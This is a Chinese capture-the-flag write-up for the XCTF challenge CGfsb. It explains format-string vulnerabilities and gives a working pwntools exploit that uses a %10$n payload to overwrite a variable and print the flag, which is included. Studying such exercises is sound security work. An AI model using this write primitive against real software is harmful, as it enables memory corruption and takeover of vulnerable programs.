攻防世界-CGfsb-格式化字符串漏洞
參考自 http://geekfz.cn/index.php/2019/06/12/pwn-format/
程序拿下來丟到IDA F5
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("ank you!");
}
return 0;
}
看到在最後一個printf有明顯的格式化字符串漏洞,補一波格式化字符串漏洞的知識
常用基本的格式化字符串參數介紹:
%c:輸出字符,配上%n可用於向指定地址寫數據。
%d:輸出十進制整數,配上%n可用於向指定地址寫數據。
%x:輸出16進制數據,如%ilx表示要泄漏偏移i處8字節長的16進制數據,32bit和64bit環境下一樣。
%p:輸出16進制數據,與%x基本一樣,只是附加了前綴0x,在32bit下輸出4字節,在64bit下輸出8字節,可通過輸出字節的長度來判斷目標環境是32bit還是64bit。
%s:輸出的內容是字符串,即將偏移處指針指向的字符串輸出,如%i$s表示輸出偏移i處地址所指向的字符串,在32bit和64bit環境下一樣,可用於讀取GOT表等信息。
%n:將%n之前printf已經打印的字符個數賦值給偏移處指針所指向的地址位置,如%100×10hn表示寫入的地址空間爲2字節,%lln表示寫入的地址空間爲8字節,在32bit和64bit環境下一樣。有時,直接寫4字節會導致程序崩潰或等候時間過長,可以通過%hhn來適時調整。
%n是通過格式化字符串漏洞改變程序流程的關鍵方式,而其他格式化字符串參數可用於讀取信息或配合%n寫數據。
格式化字符串漏洞的原理
格式化字符串函數可以接受可變數量的參數,並將第一個參數作爲格式化字符串,根據其來解析之後的參數。通俗來說,格式化字符串函數就是將計算機內存中表示的數據轉化爲我們人類可讀的字符串格式。幾乎所有的 C/C++ 程序都會利用格式化字符串函數來輸出信息,調試程序,或者處理字符串。一般來說,格式化字符串在利用的時候主要分爲三個部分
- 格式化字符串函數
- 格式化字符串
- 後續參數,可選
這裏我們給出一個簡單的例子,其實相信大多數人都接觸過 printf 函數之類的。之後我們再一個一個進行介紹。
對於這樣的例子,在進入 printf 函數的之前 (即還沒有調用 printf),棧上的佈局由高地址到低地址依次如下
- some value
- 3.14
- 123456
- addr of “red”
- addr of format string: Color %s…
注:這裏我們假設 3.14 上面的值爲某個未知的值。
在進入 printf 之後,函數首先獲取第一個參數,一個一個讀取其字符會遇到兩種情況
- 當前字符不是 %,直接輸出到相應標準輸出。
- 當前字符是 %, 繼續讀取下一個字符
- 如果沒有字符,報錯
- 如果下一個字符是 %, 輸出 %
- 否則根據相應的字符,獲取相應的參數,對其進行解析並輸出
那麼假設,此時我們在編寫程序時候,寫成了下面的樣子
- printf(“Color %s, Number %d, Float %4.2f”);
此時我們可以發現我們並沒有提供參數,那麼程序會如何運行呢?程序照樣會運行,會將棧上存儲格式化字符串地址上面的三個變量分別解析爲
- 解析其地址對應的字符串
- 解析其內容對應的整形值
- 解析其內容對應的浮點值
對於 2,3 來說倒還無妨,但是對於對於 1 來說,如果提供了一個不可訪問地址,比如 0,那麼程序就會因此而崩潰。
對於這道題目來說
要利用格式化字符串漏洞修改變量pwnme的值爲8,才能輸出flag的內容
bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 4
.bss:0804A068 public pwnme
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
.bss:0804A068 _bss ends
.bss:0804A068
.prgend:0804A06C ; ===========================================================================
.prgend:0804A06C
.prgend:0804A06C ; Segment type: Zero-length
.prgend:0804A06C _prgend segment byte public '' use32
.prgend:0804A06C _end label byte
.prgend:0804A06C _prgend ends
.prgend:0804A06C
我們雙擊pwnme
這個變量,找到他的位置,發現他位於.bss段,也就是未手動初始化的數據,地址爲0x0804A068
。
bss段(未手動初始化的數據)並不給該段的數據分配空間,只是記錄數據所需空間的大小。
data(已手動初始化的數據)段則爲數據分配空間,數據保存在目標文件中。
用pwndbg調試看一下運行棧的實際情況
輸入參數,name=aaaa,message=AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
pwndbg> c
Continuing.
AAAA ffffcc6e f7fb45a0 00f0b6ff ffffcc9e 00000001 000000c2 616126bb 000a6161 00000000 41414141 38302520 30252078
Thank you!
[Inferior 1 (process 5093) exited normally]
可以看到第11個參數是我們輸入的AAAA(0x41)
同時結合前面pwnme的地址是0x0804A068
所以payload爲
\x68\xa0\x04\x08+‘a’*4+%10$n
from pwn import *
context.log_level = 'debug'
conn = remote("111.198.29.45",54083)
pwnme = 0x0804A068
payload1 = 'aaaa'
payload2 = (p32(pwnme) + 'a'*4 + '%10$n') #pwnme地址佔4個字節,所以後面需要打印4個a
conn.recvuntil('please tell me your name:')
conn.sendline(payload1)
conn.recvuntil('leave your message please:')
conn.sendline(payload2)
print(conn.recvall())
[+] Opening connection to 111.198.29.45 on port 54083: Done
[DEBUG] Received 0x19 bytes:
'please tell me your name:'
[DEBUG] Sent 0x5 bytes:
'aaaa\n'
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Received 0x1b bytes:
'leave your message please:\n'
[DEBUG] Sent 0xe bytes:
00000000 68 a0 04 08 61 61 61 61 25 31 30 24 6e 0a │h···│aaaa│%10$│n·│
0000000e
[+] Receiving all data: Done (117B)
[DEBUG] Received 0xb bytes:
'hello aaaa\n'
[DEBUG] Received 0x69 bytes:
00000000 79 6f 75 72 20 6d 65 73 73 61 67 65 20 69 73 3a │your│ mes│sage│ is:│
00000010 0a 68 a0 04 08 61 61 61 61 0a 79 6f 75 20 70 77 │·h··│·aaa│a·yo│u pw│
00000020 6e 65 64 20 6d 65 2c 20 68 65 72 65 20 69 73 20 │ned │me, │here│ is │
00000030 79 6f 75 72 20 66 6c 61 67 3a 0a 0a 63 79 62 65 │your│ fla│g:··│cybe│
00000040 72 70 65 61 63 65 7b 32 37 36 31 62 61 61 62 66 │rpea│ce{2│761b│aabf│
00000050 61 35 65 32 33 38 62 61 31 30 33 34 37 36 63 38 │a5e2│38ba│1034│76c8│
00000060 32 66 30 30 32 61 66 7d 0a │2f00│2af}│·│
00000069
[*] Closed connection to 111.198.29.45 port 54083
hello aaaa
your message is:
h\xa0\x0aaaa
you pwned me, here is your flag:
cyberpeace{2761baabfa5e238ba103476c82f002af}
tips:做pwn題的一些調試技巧
當你覺得你的腳本沒有問題,但是卻又怎麼也出你想要的結果時,你就需要用到調試了
一個是設置context.log_level="debug"
腳本在執行時就會輸出debug的信息,你可以通過觀察這些信息查找哪步出錯了
用gdb.attach(p)
在發送payload前加入這條語句,同時加上pause() 時腳本暫停
然後就會彈出來一個開啓gdb的終端,先在這個終端下好斷點,然後回運行着腳本的那個終端按一下回車繼續運行腳本,程序就會運行到斷點,就可以調試了
from pwn import*
p = process('./xxxx')
payload = .....
gdb.attach(p)
pause()
p.sendline(payload)
p.interactive()